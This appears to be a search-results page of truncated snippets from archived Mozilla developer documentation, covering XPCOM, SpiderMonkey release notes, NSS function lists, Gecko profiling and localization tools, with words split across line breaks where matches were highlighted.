...r application needs to support mozilla 1.9.x (firefox 3.x), you should register a new resource url. details on doing this are in the "extending resource: urls" section below. sharing objects using code modules an extremely important behavior of components.utils.import() is that modules are cached when loaded and subsequent imports do not reload a new version of the module, but instead use the p
reviously cached version. this means that a given module will be shared when imported multiple times. any modifications to data, objects, or functions will be available in any scope that has imported the module. for example, if the simple module were imported into two different javascript scopes, changes in one scope can be observed in the other scope. scope 1: components.utils.import("resource://a...
... // displays "[object object]" the main effect of the by-value copy is that global variables of simple types won't be shared across scopes. always put variables in a wrapper class and export the wrapper (such as bar in the above example). unloading code modules requires gecko 7.0(firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) components.utils.unload() allows you to unload a p
reviously imported code module. once this method has been called, references to the module will continue to work but any subsequent import of the module will reload it and give a new reference. examples a template to download and edit is seen here on github - gists - _template-bootstrapjsm.xpi extending resource: urls prior to gecko 2.0, the most common way to load code modules was using resou...
Index
arily focus on getting your release repository setup and the mercurial commands you'll need to know to use that repository. 16 translation phase localization, localization:tools congratulations on completing the initial setup! as a reward for your efforts, you get to move on to the very reason you've come here: to localize mozilla projects. ...
...use that repository. 16 translation phase localization, localization:tools congratulations on completing the initial setup! as a reward for your efforts, you get to move on to the very reason you've come here: to localize mozilla projects. ...
...ization:tools congratulations on completing the initial setup! as a reward for your efforts, you get to move on to the very reason you've come here: to localize mozilla projects. 17 localization sign-off
reviews guide, localization, mozilla this article presents an overview of why we do sign-off
reviews of localizations, the details on the criteria used for the sign-off
reviews, and the process for requesting a
review and for following its progress. 18 localization technical
reviews guide, localization, mozilla this guide provides details on what a localization technical
review is, what criteria are used for the technical
reviews, and the process for requesting one and following its progress. 19 localization: frequently asked question...
...rticle provides details on how to go about localizing the descriptions of mozilla add-ons, as well as for other metadata about your add-on. 22 localizing extension metadata on addons.mozilla.org add-ons, extensions, internationalization, localization amo supports localized metadata for each extension. this data describes the extension, and doesn't necessarily change with each
revision (but it can). the localizable data fields of an extension are: 23 localizing with koala this tutorial will guide you through making a couple of changes to firefox's user interface using koala, an add-on for komodo edit created to help localizing mozilla. 24 localizing with mercurial build documentation, internationalization, localization in mozilla,...
Translation phase
fferent workflow for localizing mozilla application projects. we've linked a brief tutorial to each l10n tool name below. follow the tutorials to help you decide which l10n tool fits your specific needs. these are the l10n tools we use to localize mozilla applications: pootle a user-friendly web portal built on the translate toolkit api. this tool includes workspaces for translating strings,
reviewing string submissions, and project dashboards. see the instance of pootle used to localize mozilla applications. koala a l10n add-on for the offline, stand-alone komodo edit text editor. mozilla translator am offline, stand-alone, java-based l10n tool that helps you translate and integrates with your repositories. visit the mozilla translator (mt) download page to get your own mt client...
... powerful search and customizable views. seamonkey seamonkey® is the all-in-one application formerly known as the "mozilla application suite", containing a web browser, a mail and newsgroups client, an html editor, web development tools, and an irc chat client. firefox mobile by adding firefox® to your mobile phone, you can access rich web content and enjoy your favorite firefox features whe
rever you go. lightning lightning is a popular calendaring, scheduling and task management extension. if your locale has an hg repository hosted on the mozilla servers, you can track your localization's current progress by visiting the l10n dashboards. note: if you are starting a new localization and decide to use an offline tool for localizing mozilla applications, you will need to become fami...
...an essential part of localizing mozilla products. ...
...of localizing mozilla products. ...
Gecko Profiler FAQ
sed on the found thread name. how can i run (micro-?) benchmarks on the memory allocator to see if changes in it (or entire allocator replacements) are slower/faster? what you *don’t* want to do is writing a micro-benchmark that call malloc/free in a loop and the like and call it a day! a better idea would be picking up a real browser workload where through p
revious profiling we know that malloc overhead contributes a measurable percentage of overhead to the overall time and then study the change to that workload after replacing the allocator. you do want to think about various characteristics of an allocator which may have an impact on performance. for example, see julian’s great investigation on the impact of cache line sharing across mu...
...h may have an impact on performance. for example, see julian’s great investigation on the impact of cache line sharing across multiple cores on jemalloc’s multi-core performance in https://bugzilla.mozilla.org/show_bug.cgi?id=1291355#c26. what's the best way to measure the cost of new compiler flags (that affect all or most functions)? [ehsan] this is similar to the p
revious question to some extent, but the specific answer really depends on what kind of compiler flag we’re talking about and what performance impact we’re interested to study. but the short answer is picking up real browser workloads, and finding ways to split out the overall cost contributed by the thing that your change is going to affect and compare things before and after. [msta...
... not just main plus a couple of others) we haven’t done any measurements of how frequent sampling distorts measurement or operation. there is only one sampler thread. it runs a loop that works like this: iterate over all threads. for each thread, suspend it, walk its stack, resume it. sleep until the next sample is due. then go to the p
revious step. i there an equivalent to itimer_prof vs itimer_real settings? (itimer_prof interrupts every n ms regardless of which thread used the time, real interrupts every nms of wall-clock time) the gecko profiler does not know which thread is used at which time. it interrupts all threads based on wall-clock time. [jesup] ok, that's the equivalent ...
...n equivalent to itimer_prof vs itimer_real settings? (itimer_prof interrupts every n ms regardless of which thread used the time, real interrupts every nms of wall-clock time) the gecko profiler does not know which thread is used at which time. it interrupts all threads based on wall-clock time. [jesup] ok, that's the equivalent to itimer_real, kinda, except that per the p
revious question it doesn't interrupt every thread at once and snapshot the thread you started the itimer on, it interrupts each thread one at a time, which likely means distortion of the measurement if the number of threads monitored is significant (especially at high sample rates). a cleaner snapshot would stop all threads, walk all their stacks, and then resume all threads, especially on high-cor...
Profiling with the Firefox Profiler
oomed in on by clicking and dragging anywhere in the tracing marker or thread areas. once a range is selected, a magnifying glass appears which zooms into that range. clicking on a tracing marker will create a selection corresponding with its duration allowing for easy zooming in on interesting time ranges. as you zoom in on ranges, breadcrumbs are created allowing you to easily navigate back to p
reviously-selected ranges or the entire profile (denoted as "full range"). tip: while zooming out to a p
reviously-selected range deletes the narrower range, the browser back button can be used to restore the narrower range. thread timeline(s) thread/process timelines: below the tracing markers we have a list of profiled threads. these threads may come from different processes. in this case, we h...
...me from different processes. in this case, we have the 'geckomain [default]' process' main thread, a content process' main thread, and the main thread of the compositor process. each of these timelines is aligned with wall clock time. so, for example, when a thread is blocked, like 'geckomain [tab]', on a thread like 'geckomain [default]', we can see what's occurring on the latter thread that is p
reventing it from responding to the former. x (time) axis: the timelines go from left to right as wall clock time increases along the x axis. elements in the timeline are spaced at the sampling frequency with an attempt to align them with time. factors such as sampling or stack-walking variance and system load can lead to sampling delays which manifest as gaps in the timeline. note: because this i...
...ered into the "filter stacks" box. custom annotations in bug 1334218 an annotation was added to presshell::paint to show the url of the document being painted. these annotations are not too complex to add so if you would like something added, file a bug. 3. sharing the profile click "publish...", some of the data may be excluded, click "publish". if you select a different time range, the url
revealed by pressing "permalink" will change so that you can be sure the recipient of the url will see the same things you are seeing. tips understanding profiles can be difficult. if you're unfamiliar with gecko's internals, you can click the javascript only button to see where your javascript code is slow. each entry in the call tree shows a call stack and how much time is spent in that call stac...
... patch, 1ms without */, ["stackwalk", "js"], 2 /* = features, and number of features. */ ); ' -f ./run.js -e ' var profileobj = profiler.getprofiledata(); print(json.stringify(profileobj)); ' | tail -n 1 > run.cleo the xpcshell output all benchmark information and on its last line it output the result of the profiling, you can filter it with tail -n 1 and redirect it to a file to p
revent printing it in your shell. the expected size of the output is around 100 of mb. to add symbols to your build, you need to call ./scripts/profile-symbolicate.py available in b2g repository. $ gecko_objdir=<objdir> product_out=<objdir> target_tools_prefix= \ ./scripts/profile-symbolicate.py -o run.symb.cleo run.cleo clone cleopatra and start the server with ./run_webserver.sh. access c...
TimerFirings logging
ettimer or setinterval calls in javascript code, as the following sample shows. -991946880[7f46c365ba00]: [6775] fn timer (one_shot 0 ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://a.visual
revenue.com/vrs.js:6:9423 these js timers are annotated with [content] and show the javascript source location where they were created. they can come from chrome code within firefox, or from web content. the informative labels are only present on function timers that have had their creation site annotated. for unannotated function timers, there are three possible behaviours. first, on mac the cod...
...ng is sample output from this command. ...
...d. it is sometimes useful to pre-process the output by stripping out certain parts of each line before doing this aggregation step, for example, by inserting one or more of the following commands into the command pipeline. ...
...wing is the p
revious sample output with all three of these commands added into the pipeline. ...
NSS Developer Tutorial
ompatibility functions exported functions cannot be removed. the function prototype of an exported function, cannot be changed, with these exceptions: a foo * parameter can be changed to const foo *. this change is always safe. sometimes an int parameter can be changed to unsigned int, or an int * parameter can be changed to unsigned int *. whether such a change is safe needs to be
reviewed on a case-by-case basis. types structs members of an exported struct, cannot be reordered or removed. under certain circumstances, it is safe to add new members to an exported struct at the end. opaque structs give us complete freedom to change them, but require applications to call nss functions, to allocate and free them. enums the numeric values of public enumerators cannot be c...
...rs may declare private functions, for historical reasons. the symbol export lists are the authoritative source of public functions. behavioral changes bug/quirk compatible: occasionally we cannot fix a bug, because applications may depend on the buggy behavior. we would need to add a new function to provide the desired behavior. similarly, new options often need to be disabled by default. ...
...he symbol export lists are the authoritative source of public functions. behavioral changes bug/quirk compatible: occasionally we cannot fix a bug, because applications may depend on the buggy behavior. we would need to add a new function to provide the desired behavior. similarly, new options often need to be disabled by default. nss
review/feature approval process nss doesn’t have 'super
reviewers'. ...
...compatible: occasionally we cannot fix a bug, because applications may depend on the buggy behavior. we would need to add a new function to provide the desired behavior. similarly, new options often need to be disabled by default. nss
review/feature approval process nss doesn’t have 'super
reviewers'. we wish to increase the number of nss developers, who have broad understanding of nss. one
review is usually enough for the
review to pass. for critical code
reviews, such as a patch release of a stable branch, two
reviews may be more reasonable. for new features, especially those that appear controversial, try to find a
reviewer from a different company or organization than your own, to avoid any perceptions of bias. update nss in mozilla-inbound and mozilla-central the procedure is do...
NSS functions
m mxr 3.2 and later ssl_preencryptedstreamtofile mxr 3.2 and later ssl_rehandshake mxr 3.2 and later ssl_rehandshakewithtimeout mxr 3.11.4 and later ssl_resethandshake mxr 3.2 and later ssl_restarthandshakeaftercertreq mxr 3.2 and later ssl_restarthandshakeafterservercert mxr 3.2 and later ssl_
revealcert mxr 3.2 and later ssl_
revealpinarg mxr 3.2 and later ssl_
revealurl mxr 3.2 and later ssl_securitystatus mxr 3.2 and later ssl_setmaxservercachelocks mxr 3.4 and later ssl_setpkcs11pinarg mxr 3.2 and later ssl_setsockpeerid mxr 3.2 and later ssl_seturl mxr 3.2 and later ss...
...ter cert_certlistfromcert mxr 3.2 and later cert_certtimesvalid mxr 3.2 and later cert_changecerttrust mxr 3.2 and later cert_checkcertvalidtimes mxr 3.2 and later cert_checknamespace mxr 3.12 and later cert_checkcertusage mxr 3.3 and later cert_comparename mxr 3.2 and later cert_compa
revaliditytimes mxr 3.11 and later cert_completecrldecodeentries mxr 3.6 and later cert_convertanddecodecertificate mxr 3.9.3 and later cert_copyname mxr 3.4 and later cert_copyrdn mxr 3.5 and later cert_createava mxr 3.2.1 and later cert_createcertificate mxr 3.5 and later cert_createcertificater...
...mxr 3.10 and later cert_getocspresponsestatus mxr 3.6 and later cert_getocspstatusforcertid mxr 3.6 and later cert_getoidstring mxr 3.9 and later cert_getorgname mxr 3.2 and later cert_getorgunitname mxr 3.2 and later cert_getocspauthorityinfoaccesslocation mxr 3.4 and later cert_getpkixverifynist
revocationpolicy mxr 3.12 and later cert_getp
revgeneralname mxr 3.10 and later cert_getp
revnameconstraint mxr 3.10 and later cert_getsloptime mxr 3.2 and later cert_getsslcacerts mxr 3.2 and later cert_getstatename mxr 3.2 and later cert_getusepkixforvalidation mxr 3.12 and later cert_getvaliddnsp...
... mxr 3.4 and later pk11_getnextsymkey mxr 3.4 and later pk11_getpadmechanism mxr 3.4 and later pk11_getpbecryptomechanism mxr 3.12 and later pk11_getpbeiv mxr 3.6 and later pk11_getpqgparamsfromprivatekey mxr 3.4 and later pk11_getp
revgenericobject mxr 3.9.2 and later pk11_getprivatekeynickname mxr 3.4 and later pk11_getprivatemoduluslen mxr 3.2 and later pk11_getpublickeynickname mxr 3.4 and later pk11_getslotfromkey mxr 3.2 and later pk11_getslotfromprivatekey mxr 3.2 and late...
Scripting Java
then, do we access classes in java packages? rhino defines a top-level variable named packages. the properties of the packages variable are all the top-level java packages, such as java and com. for example, we can access the value of the java package: js> packages.java [javapackage java] as a handy shortcut, rhino defines a top-level variable java that is equivalent to packages.java. so the p
revious example could be even shorter: js> java [javapackage java] we can access java classes simply by stepping down the package hierarchy: js> java.io.file [javaclass java.io.file] if your scripts access a lot of different java classes, it can get awkward to use the full package name of the class every time. rhino provides a top-level function importpackage that serves the same purpose as jav...
...ject. the object that implements this class is called a java adapter. because the forwarding to javascript occurs at runtime, it is possible to delay defining the methods implementing an interface until they are called. while omitting a required method is bad practice for programming in the large, it's useful for small scripts and for exploratory programming. the javaadapter constructor in the p
revious section we created java adapters using the new operator with java interfaces. this approach has its limitations: it's not possible to implement multiple interfaces, nor can we extend non-abstract classes. for these reasons there is a javaadapter constructor. the syntax of the javaadapter constructor is: new javaadapter(javaintforclass, [javaintf, ..., javaintf,] javascriptobject) here jav...
...javaintforclass, [javaintf, ..., javaintf,] javascriptobject) here javaintforclass is an interface to implement or a class to extend and javaintf are aditional interfaces to implement. the javascriptobject is the javascript object containing the methods that will be called from the java adapter. in practice there's little need to call the javaadapter constructor directly. most of the time the p
revious syntaxes using the new operator will be sufficient. javascript functions as java interfaces often we need to implement an interface with only one method, like in the p
revious runnable example or when providing various event listener implementations. to facilitate this rhino allows to pass javascript function when such interface is expected. the function is called as the implementation of in...
...javax.swing.event, packages.javax.swing.border, java.awt.event, java.awt.point, java.awt.rectangle, java.awt.dimension); ... with (swinggui) { var mybutton = new jbutton(test); var mypoint = new point(10, 10); var myframe = new jframe(); ... } p
reviously such functionality was available only to embeddings that used org.mozilla.javascript.importertoplevel class as the top level scope. the class provides additional importpackage() and importclass() global functions for scripts but their extensive usage has tendency to pollute the global name space with names of java classes and p
revents loaded classes from garbage collection. see bugzilla 24...
Hacking Tips
f the nop. (gdb) x /5i $pc - 1 0x7ffff7fb1659: int3 => 0x7ffff7fb165a: mov 0x28(%rsp),%rax 0x7ffff7fb165f: mov %eax,%ecx 0x7ffff7fb1661: mov 0x30(%rsp),%rdx 0x7ffff7fb1666: mov %edx,%ebx (gdb) # replace the int3 by a nop (gdb) set *(unsigned char *) ($pc - 1) = 0x90 (gdb) x /1i $pc - 1 0x7ffff7fb1659: nop (gdb) # set a breakpoint at the p
revious location (gdb) b *0x7ffff7fb1659 breakpoint 2 at 0x7ffff7fb1659 printing ion generated assembly code (from gdb) if you want to look at the assembly code generated by ionmonkey, you can follow this procedure: place a breakpoint at codegenerator.cpp on the codegenerator::link method. step next a few times, so that the "code" variable gets generated print code->code_, which is the addre...
...y. optimizemir function has a mir argument, and the codegenerator::generatebody function has a member this->gen. ...
...ument(nsrect const&, unsigned int, unsigned int, gfxcontext*)' set print object on set $x = <your x value> set $y = <your y value> print &((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).data[$y * ((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).stride + $x * ((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).depth / 8] watch *(char*)<address of p
revious command> (note: if you set a watch on the p
revious expression gdb will watch the expression and run out of watchpoint) rr with emacs within emacs, do m-x gud-gdb and replace the command line with rr replay. when gdb comes up, enter set annot 1 to get it to emit file location information so that emacs will pop up the corresponding source. note that if you
reverse-continue over a sigsegv...
...h emacs within emacs, do m-x gud-gdb and replace the command line with rr replay. when gdb comes up, enter set annot 1 to get it to emit file location information so that emacs will pop up the corresponding source. note that if you
reverse-continue over a sigsegv and you're using the standard .gdbinit that sets a catchpoint for that signal, you'll get an additional stop at the catchpoint. just
reverse-continue again to continue to your breakpoints or whatever. [hack] replacing one instruction to replace one specific instruction, you can use in visit function of each instruction the jsscript filename in lineno fields as well as the id() of the lir / mir instructions. the jsscript can be obtained from info().script(). bool codegeneratorx86shared::visitguardshape(lguardshape *guard) { ...
SpiderMonkey 1.8.7
atforms where firefox 10 runs. spidermonkey 1.8.7 includes type inference, which boosts the speed of the jägermonkey jit by about 30% over version 1.8.5. type inference largely obviates tracemonkey, so the tracemonkey jit has been removed. the jit is supported only on x86, x86_64 and arm architectures. ...
...many jsapi types, functions, and callback signatures have changed, though most of them still have the same names and do the same things. ...
...e converted to their c equivalents with the appropriate jsval_to_* macro and then compared. jsapi no longer represents floating-point numbers (and integers more than 31 bits long) as pointers to jsdouble; instead, the jsdouble value is directly stored in the jsval. this affects macros like double_to_jsval and jsval_to_double, which now operate directly on jsdouble rather than jsdouble pointers. p
revious spidermonkey versions usually represented integer values smaller than 2^31 as jsvals encoding jsint; e.g. so that jsval_is_int was true. while this was never specified behaviour, it is no longer true; numeric values which are integers are frequently encoded as jsdouble inside the jsval. embedders must be careful when converting numbers from jsvals into c. note also that spidermonkey can now ...
...er specified behaviour, it is no longer true; numeric values which are integers are frequently encoded as jsdouble inside the jsval. embedders must be careful when converting numbers from jsvals into c. note also that spidermonkey can now fit a full 32-bit integer (jsint) inside a jsval without promoting to a jsdouble. jsextendedclass jsextendedclass has been removed from the api entirely. jsid p
revious spidermonkey versions could freely interchange jsid and jsval. they are no longer compatible; using js_valuetoid and js_idtovalue to convert between the two is mandatory. jsnative, jsfastnative p
revious versions of jsapi supported two types of native functions -- jsnative and jsfastnative. the so-called "slow natives" are no longer supported; as such jsfastnative has been renamed to jsnativ...
SpiderMonkey 1.8.8
.8.8 (nor is it even the case that the version number will be 1.8.8!). the mozilla javascript team is pleased to announce the release of spidermonkey 1.8.8. you can download full source code here: insert-actual-link-when-the-release-happens (md5 checksum: insert-actual-hash-here). spidermonkey 1.8.8 is the javascript engine that shipped in firefox 10.0. it continues to improve performance over p
revious spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: jav...
...firefox-version-number-here runs. spidermonkey 1.8.8 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, mips), the jit is provided but not supported. ...
...many jsapi types, functions, and callback signatures have changed, though most of them still have the same names and do the same things. ...
...such as jsresolveop, jsenumerateop and jspropertyop, have a type change on their arguments to jshandleobject, jshandleid, jshandlemutableobject etc. atleast for the c api this wraps an extra pointer around these objects, so you would cast the argument to jsobject**, in the callback function. removal of jscontext* parameters to many methods the js_getclass method now takes only a jsobject*, where p
reviously it also required a jscontext* in threadsafe builds. (the js_get_class macro abstracting away this difference has accordingly been removed.) javascript shell changes detail added/removed methods here... known issues detail any known issues here... future direction include-followup-on-experimental-library-versioning-scheme-here spidermonkey embedders should also be aware that mozilla has n...
SpiderMonkey 17
ormation here isn't actually new to spidermonkey 17. the mozilla javascript team is pleased to announce the release of spidermonkey 17. you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz (md5 checksum: 20b6f8f1140ef6e47daa3b16965c9202). spidermonkey 17 is the javascript engine that shipped in firefox 17. it continues to improve performance over p
revious spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: jav...
...the platforms where firefox 17 runs. spidermonkey 17 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, mips), the jit is provided but not supported. ...
...many jsapi types, functions, and callback signatures have changed, though most of them still have the same names and do the same things. ...
...such as jsresolveop, jsenumerateop and jspropertyop, have a type change on their arguments to jshandleobject, jshandleid, jshandlemutableobject etc. atleast for the c api this wraps an extra pointer around these objects, so you would cast the argument to jsobject**, in the callback function. removal of jscontext* parameters to many methods the js_getclass method now takes only a jsobject*, where p
reviously it also required a jscontext* in threadsafe builds. (the js_get_class macro abstracting away this difference has accordingly been removed.) garbage collection functions now take runtime argument most garbage collection functions now take a runtime argument instead of a context. the one exception to this is js_maybegc which still takes a context as argument. javascript shell changes detail ...
Building the WebLock UI
the xpcom interfaces and tools you've used have been general, cross-platform, and available in the gecko runtime environment or in any gecko-based application after mozilla 1.2 (when the gre began to be used). in this chapter, however, we are going to be building a user interface for the weblock component that's meant to be added to the existing mozilla browser[other-mozlike-browsers]. it uses xul, which is an xml language that gecko knows how to render as user interface, but it also interacts with particular parts of the mozilla user interface, where it must install itself as an extension to the ui. ...
...rry out a lot of the browser functionality in mozilla. in using xpcom components you saw how xpcom objects are reflected into the interface layer as javascript objects. in this chapter, now that we've created the weblock component and made it available to xpcom, we create the ui that actually instantiates the weblock component and uses its methods to control page loading in the browser. in the p
revious section, we outlined the javascript that interacts with the weblock component. in this section, we are going to create the xul interface that calls the javascript methods when the user interacts with it. the xul document the first thing to do is create the actual xul document in which the user interface for the dialog and the events that initiate interaction with the web locking are defined...
...ew ui into the browser so it can call the component, and the mozilla overlay mechanism is the way to do this. overlays are xul files that register themselves to be dynamically inserted into the appropriate parts of the browser ui at runtime. weblockoverlay.xul the xul that defines the new icon is small: it's a little icon that calls a javascript function to load the weblock.xul file we defined p
reviously. the icon is actually a separate <statusbarpanel/> element that gets overlaid into the main browser, along with some javascript and some css to control the behavior and appearance of the element, respectively. here is that xul file in its entirety: the weblock overlay <?xml version="1.0"?> <?xml-stylesheet href="chrome://navigator/content/weblock.css" type="text/css"?> <overlay id="weblo...
...nex and the ibm web browser that share a lot of the structure of the mozilla user interface, into which it may be possible to install both the weblock component and the user interface described in this chapter. note, however, that currently weblock probably does not install cleanly in mozilla firefox due to firefox's newness compared to this book (which was originally written in 2003). « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standa...
Using XPCOM Utilities to Make Things Easier
it also introduces a basic string type that is used with many of the apis in both xpcom and gecko. to begin with, the first section describesc++ macros that can replace a lot of the code in weblock1.cpp. much of the code created to get the software recognized and registered as a component can be reduced to a small data structure and a single macro. xpcom macros the xpcom framework includes a number of macros for making c++ development easier. ...
...ated to get the software recognized and registered as a component can be reduced to a small data structure and a single macro. xpcom macros the xpcom framework includes a number of macros for making c++ development easier. though they overlap somewhat (e.g., high-level macros expand to other macros), they fall into the following general categories. generic xpcom module macros the work in the p
revious chapter was useful in setting up the generic component code. but there are only a few places in that code that are unique to the weblock component, and it was a lot of typing. to write a different component library, you could copy the listing at the end of the chapter, change very little, and paste it into a new project. to avoid these kinds of redundancies, to regulate the way generic code i...
... these macros expand into "generic" implementations, they may not offer as much flexibility as you have when you are writing your own implementation. but they have the advantage of allowing much more rapid development. to get an idea about how much can be handled with the macros described in this section, compare the code listing in weblock2.cpp at the end of the chapter with weblock1.cpp in the p
revious chapter. the module macros include one set of macros that define the exported nsgetmodule entry point, the required nsimodule implementation code and another that creates a generic factory for your implementation class. used together, these macros can take care of a lot of the component implementation code and leave you working on the actual logic for your component. note that all of the m...
...t ns_decl_isupports doesn't obey the general rule in which every interface has a declaration macro of the form ns_decl_interfacename, where interfacename is the name of the interface being compiled. note: nulls-in-strings the string classes may also support embedded nulls. note: other-string-classes there are other abstract string classes, but they are outside the scope of this book. « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standa...
nsIDOMWindowInternal
ptable this interface is part of a chain of interfaces used to represent a window in the dom. 66 introduced gecko 1.0 deprecated gecko 8.0 inherits from: nsidomwindow last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) in gecko 8.0 this interface was merged into the nsidomwindow interface. this interface no longer has any members; it exists solely to p
revent add-ons that reference it from failing completely. add-ons should be updated to use nsidomwindow instead. it provides many of the common functions used in javascript such as alert() or open(). note: because most of nsidomwindowinternal's functions and attributes are well documented in window, those articles are linked to rather than re-documented. however, they are not guaranteed to documen...
...r open(). note: because most of nsidomwindowinternal's functions and attributes are well documented in window, those articles are linked to rather than re-documented. however, they are not guaranteed to document all available arguments (i.e. see window.prompt). method overview firefox 3.5 note the prompt() and find() methods changed in firefox 3.5 to make all their parameters optional; in p
revious versions, all parameters were required. void alert(in domstring text) boolean confirm(in domstring text) domstring prompt([optional] in domstring amessage, [optional] in domstring ainitial, [optional] in domstring atitle, [optional] in unsigned long asavepassword) void focus() void blur() void back() void forward() vo...
...s11 obsolete: this property is not supported in newer versions of firefox. controllers nsicontrollers readonly: returns the xul controllers of the chrome window. opener nsidomwindowinternal returns a reference to the window that opened this current window. status domstring sets the text in the status bar at the bottom of the browser or returns the p
reviously set text. defaultstatus domstring gets/sets the status bar text for the given window. location nsidomlocation readonly: returns a nsidomlocation object, which contains information about the url of the document. innerwidth long width of the browser window. innerheight long height of the browser window. outerwidth long ...
...the number of frames in the window. fullscreen boolean whether the window is displayed in full screen mode or not frameelement nsidomelement readonly: the element in which the window is embedded, or null if the window is top-level. url nsidommozurlproperty readonly: a dom url object, which provides the window.url.createobjecturl() and window.url.
revokeobjecturl() methods. note: prior to gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), this attribute was part of nsidomwindow_2_0_branch. ...
nsISessionStore
will always be false when in private browsing mode. methods deletetabvalue() deletes a value from a specified tab. void deletetabvalue( in nsidomnode atab, in astring akey ); parameters atab the tab for which to delete the value. akey the key whose value is to be deleted. exceptions thrown this method throws a ns_error_illegal_value exception if the key does...
...include cookies. if you need to retrieve cookies as well, you should use getwindowstate() instead. gettabvalue() returns the value corresponding to a key on a given window. astring gettabvalue( in nsidomnode atab, in astring akey ); parameters atab the tab on which to get the value. akey the key whose corresponding value is to be returned. return value the string value that was p
reviously assigned to akey using nsisessionstore.settabvalue(), or an empty string if no value is set for that key. if the p
reviously saved value was originally a complex data (ie a javascript object) it can then be deserialized using json.parse cf. nsisessionstore.settabvalue(). getwindowstate() returns the current state of one specified window in the web browser. astring getwindowstate( in ns...
...ill get an exception about "awindows[i] has no properties". getwindowvalue() returns the string value associated with a given key for a window. astring getwindowvalue( in nsidomwindow awindow, in astring akey ); parameters awindow the window from which the value is to be retrieved. akey the key whose corresponding value is to be retrieved. return value the string value that was p
reviously assigned to akey using nsisessionstore.setwindowvalue(), or an empty string if no value is set for that key. if the p
reviously saved value was originally a complex data (ie a javascript object) it can then be deserialized using json.parse cf. nsisessionstore.setwindowvalue(). init() initializes the session store service. note: this function is intended for use only by the browser; exten...
...tribute() sets the name of a tab attribute to be saved and restored for all xul tabs. note: at present, there's no way to pick and choose tabs to set persistent attributes for. this method affects all tabs indiscriminately. void persisttabattribute( in astring aname ); parameters aname the name of the attribute to be saved and restored for all tabs. restorelastsession() restore the p
revious session if possible. this will not overwrite the current session. instead the p
revious session will be merged into the current session. current windows will be reused if they were windows that pinned tabs were p
reviously restored into. new windows will be opened as needed. note: this will throw if there is no p
revious state to restore. check with canrestorelastsession first to avoid thrown e...
nsITextInputProcessor
a clause attribute but this is typically not used. this means that the clause is not converted but selected to convert or modify. attr_converted_clause 0x04 a clause attribute. this means that the clause is already converted. attr_selected_clause 0x05 a clause attribute. this means that the clause is already converted and is selected to convert. key_default_p
revented 0x00000001 one of akeyflags. when this is specified, defaultp
revented attribute of dispatching keyboard events true. this is not useful in usual cases. this may be useful for automated tests. key_non_printable_key 0x00000002 one of akeyflags. when you attempt to dispatch a non-printable key's events, it's recommented this be specified. if the key attribute value is not a...
...ttribute of dispatching keyboard events true. this is not useful in usual cases. this may be useful for automated tests. key_non_printable_key 0x00000002 one of akeyflags. when you attempt to dispatch a non-printable key's events, it's recommented this be specified. if the key attribute value is not a registered key name, this flag causes throwing an exception. therefore, this can p
revent non-printable key events to cause dispatching as printable keyboard events and you can detect the registered key name change from the thrown exception. key_force_printable_key 0x00000004 one of akeyflags. when you attempt to dispatch a printable key's event whose key attribute value (i.e., inputting string) will match with a registered key name, this flag makes dispatched keyboa...
...signed long akeyflags optional); parameters adomkeyevent the keyboardevent which is initialized with its constructor. see also how to create keyboardevent instance for nsitextinputprocessor. akeyflags optional see key_* constants. if this is not specified, the value is assumed as 0. return value true if neither dispatched keydown event nor keypress events are not consumed by a call of p
reventdefault(). keyup() dispatches a keyup event when it's necessary. when this dispatches a normal modifier key event, the textinputprocessor instance inactivates the modifier state if it was activated by same code attribute. boolean keyup(in nsidomkeyevent adomkeyevent, in unsigned long akeyflags optional); parameters adomkeyevent the keyboardevent which is initialized with...
...mkeyevent adomkeyevent, in unsigned long akeyflags optional); parameters adomkeyevent the keyboardevent which is initialized with its constructor. see also how to create keyboardevent instance for nsitextinputprocessor. akeyflags optional see key_* constants. if this is not specified, the value is assumed as 0. return value true if keyup event isn't consumed by a call of p
reventdefault(). setcaretinpendingcomposition() sets caret position in the composition string set by setpendingcompositionstring(). this is optional, i.e., you may not call this before flushpendingcomposition(). void setcaretinpendingcomposition(in unsigned long aoffset); parameters aoffset caret offset in the composition string. this value must be between 0 and the length of astring of setp...
Getting Started Guide
nscomptr is a "smart pointer". it is a template class that acts, syntactically, just like an ordinary pointer in c or c++, i.e., you can apply * or -> to it to "get to" what it points at. ...
... queries. however, be aware that if you should have queried but didn't, e.g., when assigning in a raw pointer where c++ allows the assignment, but xpcom wouldn't, nscomptr will assert at runtime. use do_queryinterface whenever you assign in a pointer to a xpcom interface of a different type, even if that type happens to derive from the base type of the nscomptr comparison 6. do_queryinterface p
